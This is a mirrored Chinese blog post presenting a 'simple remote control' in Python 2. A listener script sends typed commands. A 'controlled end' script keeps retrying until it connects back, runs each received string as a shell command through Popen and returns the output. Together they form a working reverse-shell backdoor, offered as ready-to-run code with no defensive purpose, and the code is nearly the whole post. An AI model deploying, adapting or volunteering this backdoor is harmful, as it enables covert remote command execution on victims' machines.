zoukankan      html  css  js  c++  java
  • Python简易远控(单线程版)

    1. 技术:管道通信,流文件处理,socket基础


    2. Tips:

    默认IP:127.0.0.1

    默认端口:7676


    3. 代码样例


    服务端


    #!/usr/bin/env python  
    # encoding: utf-8  
    
    import socket
    import sys
    from os import *
    
    reload(sys)  
    sys.setdefaultencoding("utf-8")  
    
    def socketInit():
    	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    	return s
    
    def socketDeal(s,HOST,PORT):
    	s.bind((HOST,PORT))
    	s.listen(1)
    
    def ControlModule(sS,addr):
    	recv_buffer = sS.recv(20048)
    	if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":
    		print recv_buffer
    		sys.exit(0)
    	else:
    		print recv_buffer
    	send_buf = raw_input(addr[0]+">")
    	sS.send(send_buf)
    
    
    def main():
    	HOST = "127.0.0.1"
    	PORT = 7676
    	s = socketInit()
    	socketDeal(s, HOST, PORT)
    	sS,addr = s.accept()
    	print "Connect from " + addr[0] + ":" + repr(addr[1])
    	try:
    		while True:
    			ControlModule(sS,addr)
    	except Exception as e:
    		print "[-]Connect Error"
    		sS.close()
    		s.close()
    		sys.exit(-1)
    	except KeyboardInterrupt:
    		sS.close()
    		s.close()
    		sys.exit(0)
    
    if __name__ == '__main__':
    	main()


    受控端:


    #!/usr/bin/env python  
    # encoding: utf-8  
    
    import socket
    import sys
    import re
    import traceback
    import tempfile
    from os import *
    from subprocess import *
    
    reload(sys)  
    sys.setdefaultencoding("utf-8")  
    
    def socketInit():
    	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    	return s
    
    def socketConn(s,HOST,PORT):
    	while True:
    		try:
    			s.connect((HOST,PORT))
    		except Exception as e:
    			continue
    		else:
    			s.send("Welcome Sir ~")
    			break
    
    
    def String_Deal(recv,send):
    	P_str = re.findall("cd(.*)|(w):", recv)
    	if P_str!=[] and send == "":
    		if P_str[0][0]!="":
    			try:
    				chdir(P_str[0][0].strip())
    			except Exception as e:
    				flag = -1
    			else:
    				flag = 1
    		else:
    			try:
    				chdir(recv)
    			except Exception as e:
    				#traceback.print_exc()
    				flag = -1
    			else:
    				flag = 1
    	else:
    		if send == "":
    			flag = 1
    		else:
    			flag = 0
    	return flag
    
    def OpenProcess(s):
    	try:
    		while True:
    			recv_buf = s.recv(2048)
    			#流文件技术,防止管道阻塞
    			out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)
    			fileNo = out_temp.fileno()
    			cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)
    			cmd.wait()
    			out_temp.seek(0)
    			send_buf = out_temp.read()
    			#print len(send_buf)
    			#输入命令字符串处理识别
    			flag = String_Deal(recv_buf,send_buf)
    			if flag == 1:
    				s.send("OK")
    			elif flag == -1:
    				s.send("Error!!")
    			else:
    				s.send(send_buf)
    			send_buf = ""
    	except Exception as e:
    		try:
    			s.send("[-]Error:Server is OFF")
    		except Exception as e:
    			pass
    			s.close()
    		sys.exit(-1)		
    	except KeyboardInterrupt:
    		try:
    			s.send("[*]Server is OFF")
    		except Exception as e:
    			pass
    		s.close()
    		sys.exit(0)	
    def main():
    	flag = 0
    	HOST = "127.0.0.1"
    	PORT = 7676
    	s = socketInit()
    	socketConn(s, HOST, PORT)
    	OpenProcess(s)
    
    
    if __name__ == '__main__':
    	main()


  • 相关阅读:
    zip
    yield
    日记
    cat
    genfromtext
    pytorch易忘
    小程序入门(一)
    (二)连接数据库使用Model对象对数据库进行操作(CRUD)
    (一)Moogose(node.js对数据库进行操作)
    CURD练习
  • 原文地址:https://www.cnblogs.com/csnd/p/12897048.html
Copyright © 2011-2022 走看看